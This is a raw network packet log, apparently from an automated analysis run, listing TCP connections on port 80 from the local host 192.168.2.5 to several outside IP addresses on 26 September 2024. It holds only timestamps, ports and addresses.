Sep 26, 2024 15:22:49.195322037 CEST	49713	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:49.195354939 CEST	49713	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:49.206470966 CEST	49713	80	192.168.2.5	217.70.184.50
Sep 26, 2024 15:22:49.211596012 CEST	80	49713	217.70.184.50	192.168.2.5
Sep 26, 2024 15:22:54.494374037 CEST	49714	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:54.500123024 CEST	80	49714	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:54.500211954 CEST	49714	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:54.511765003 CEST	49714	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:54.516706944 CEST	80	49714	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:54.968684912 CEST	80	49714	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:54.968708992 CEST	80	49714	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:54.968756914 CEST	49714	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:56.017724037 CEST	49714	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:57.043193102 CEST	49716	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:57.049767017 CEST	80	49716	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:57.049886942 CEST	49716	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:57.069202900 CEST	49716	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:57.074096918 CEST	80	49716	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:57.503612995 CEST	80	49716	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:57.503660917 CEST	80	49716	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:57.503736019 CEST	49716	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:58.580164909 CEST	49716	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:59.606446028 CEST	49717	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:59.611922979 CEST	80	49717	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:59.612037897 CEST	49717	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:59.623418093 CEST	49717	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:22:59.628257036 CEST	80	49717	172.96.187.60	192.168.2.5
Sep 26, 2024 15:22:59.628467083 CEST	80	49717	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:00.059273958 CEST	80	49717	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:00.059626102 CEST	80	49717	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:00.059704065 CEST	49717	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:23:01.127096891 CEST	49717	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:23:02.146279097 CEST	49718	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:23:02.175646067 CEST	80	49718	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:02.175872087 CEST	49718	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:23:02.183551073 CEST	49718	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:23:02.188457012 CEST	80	49718	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:02.624314070 CEST	80	49718	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:02.624357939 CEST	80	49718	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:02.624619007 CEST	49718	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:23:02.645157099 CEST	49718	80	192.168.2.5	172.96.187.60
Sep 26, 2024 15:23:02.650022030 CEST	80	49718	172.96.187.60	192.168.2.5
Sep 26, 2024 15:23:07.717573881 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:07.722366095 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:07.722467899 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:07.737963915 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:07.742721081 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:08.176808119 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:08.176918983 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:09.252321959 CEST	49719	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:09.257275105 CEST	80	49719	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:10.411186934 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:10.416630983 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:10.416726112 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:10.471750975 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:10.476737976 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:11.812869072 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:11.813069105 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:11.986623049 CEST	49720	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:11.991638899 CEST	80	49720	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:13.005719900 CEST	49721	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:13.010617018 CEST	80	49721	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:13.010742903 CEST	49721	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:13.021862030 CEST	49721	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:13.026712894 CEST	80	49721	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:13.026758909 CEST	80	49721	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:13.466041088 CEST	80	49721	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:13.466121912 CEST	49721	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:14.534454107 CEST	49721	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:14.539376974 CEST	80	49721	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:15.552663088 CEST	49722	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:15.557748079 CEST	80	49722	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:15.557871103 CEST	49722	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:15.565221071 CEST	49722	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:15.570041895 CEST	80	49722	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:16.977345943 CEST	80	49722	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:16.977456093 CEST	80	49722	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:16.977869034 CEST	49722	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:16.980937004 CEST	49722	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:23:16.987016916 CEST	80	49722	3.33.130.190	192.168.2.5
Sep 26, 2024 15:23:22.112643957 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.117717981 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.117861032 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.129138947 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.134226084 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.709606886 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.709640026 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.709655046 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.709739923 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.709822893 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.709830046 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.710040092 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.710150003 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.710156918 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.710163116 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.710449934 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.710556984 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.710571051 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.710633039 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.714574099 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.714679003 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.714689016 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.714740038 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.796557903 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.796567917 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.796598911 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.796785116 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.796885014 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.796921015 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.797106028 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797111034 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797117949 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797122002 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797239065 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.797420025 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797611952 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797616959 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797914028 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797919989 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.797938108 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.798002958 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:22.798203945 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.798392057 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.798398972 CEST	80	49724	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:22.798568964 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:23.642640114 CEST	49724	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:24.661715031 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:24.666676044 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:24.666800022 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:24.677985907 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:24.683047056 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.261872053 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262027979 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262186050 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262192011 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262284040 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.262284040 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.262511969 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262516975 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262528896 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262662888 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262670994 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262681961 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.262692928 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.262747049 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.267330885 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.267509937 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.267520905 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.267652988 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.268162966 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.268331051 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.268455982 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.348690033 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.348777056 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.348783016 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.348970890 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349036932 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.349124908 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349131107 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349334955 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349512100 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349522114 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349536896 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.349805117 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349812031 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.349837065 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.350126028 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.350151062 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.350271940 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.350279093 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.350384951 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.350537062 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.350543976 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.350879908 CEST	80	49725	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:25.353972912 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:25.357109070 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:26.189704895 CEST	49725	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.209052086 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.214026928 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.214262962 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.226273060 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.231288910 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.231297970 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.824871063 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.824929953 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.824939966 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.824970961 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.825109005 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.825119972 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.825129986 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.825146914 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.825175047 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.825408936 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.825419903 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.825428963 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.825455904 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.825692892 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.825748920 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.829912901 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.829982996 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.829993010 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.830030918 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.830154896 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.830199957 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.913589001 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.913615942 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.913625956 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.913674116 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.913786888 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.913796902 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.913806915 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.913813114 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.913883924 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.914222002 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.914279938 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.914311886 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.914323092 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.914375067 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.914551020 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.914568901 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.914628983 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.914920092 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.915009022 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.915010929 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.915057898 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:27.915240049 CEST	80	49726	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:27.915287018 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:28.736983061 CEST	49726	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:29.756525993 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:30.752060890 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:30.848301888 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:30.848557949 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:30.852695942 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:30.853094101 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:30.856440067 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:30.863260984 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454011917 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454024076 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454035997 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454204082 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.454246998 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454258919 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454364061 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454370975 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454396963 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.454401970 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.454441071 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.455368042 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.455512047 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.455539942 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.456154108 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.459045887 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.459074020 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.459080935 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.459265947 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.541491032 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.541533947 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.541539907 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.541605949 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.541724920 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.541731119 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.541835070 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.541862965 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.541928053 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.542023897 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.542098999 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.542104959 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.542150021 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.542239904 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.542251110 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.542298079 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.542956114 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.543044090 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.543047905 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.543050051 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.543096066 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.543168068 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.543504953 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.543550968 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:31.543551922 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.543607950 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.546941996 CEST	49727	80	192.168.2.5	67.223.117.189
Sep 26, 2024 15:23:31.551830053 CEST	80	49727	67.223.117.189	192.168.2.5
Sep 26, 2024 15:23:37.091840029 CEST	49728	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:37.096739054 CEST	80	49728	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:37.101106882 CEST	49728	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:37.112127066 CEST	49728	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:37.116939068 CEST	80	49728	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:38.628176928 CEST	49728	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:38.679152966 CEST	80	49728	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:39.646249056 CEST	49729	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:39.651228905 CEST	80	49729	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:39.651293993 CEST	49729	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:39.664932966 CEST	49729	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:39.669787884 CEST	80	49729	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:41.173986912 CEST	49729	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:41.219111919 CEST	80	49729	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:42.192770958 CEST	49730	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:42.197634935 CEST	80	49730	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:42.197700024 CEST	49730	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:42.211833954 CEST	49730	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:42.216680050 CEST	80	49730	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:42.216840029 CEST	80	49730	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:43.720757008 CEST	49730	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:43.767108917 CEST	80	49730	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:44.739581108 CEST	49731	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:44.744497061 CEST	80	49731	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:44.745359898 CEST	49731	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:44.758128881 CEST	49731	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:23:44.762927055 CEST	80	49731	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:58.452466965 CEST	80	49728	103.248.137.209	192.168.2.5
Sep 26, 2024 15:23:58.452574015 CEST	49728	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:24:01.034941912 CEST	80	49729	103.248.137.209	192.168.2.5
Sep 26, 2024 15:24:01.035137892 CEST	49729	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:24:03.578608036 CEST	80	49730	103.248.137.209	192.168.2.5
Sep 26, 2024 15:24:03.578685045 CEST	49730	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:24:06.264643908 CEST	80	49731	103.248.137.209	192.168.2.5
Sep 26, 2024 15:24:06.264764071 CEST	49731	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:24:06.265805960 CEST	49731	80	192.168.2.5	103.248.137.209
Sep 26, 2024 15:24:06.270570993 CEST	80	49731	103.248.137.209	192.168.2.5
Sep 26, 2024 15:24:19.364834070 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:19.369683981 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:19.370183945 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:19.382091999 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:19.387053967 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:19.848222017 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:19.848287106 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:20.893080950 CEST	49732	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:20.897917032 CEST	80	49732	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:21.912827015 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:21.917776108 CEST	80	49733	3.33.130.190	192.168.2.5
Sep 26, 2024 15:24:21.917850018 CEST	49733	80	192.168.2.5	3.33.130.190
Sep 26, 2024 15:24:21.932420015 CEST	49733	80	192.168.2.5	3.33.130.190
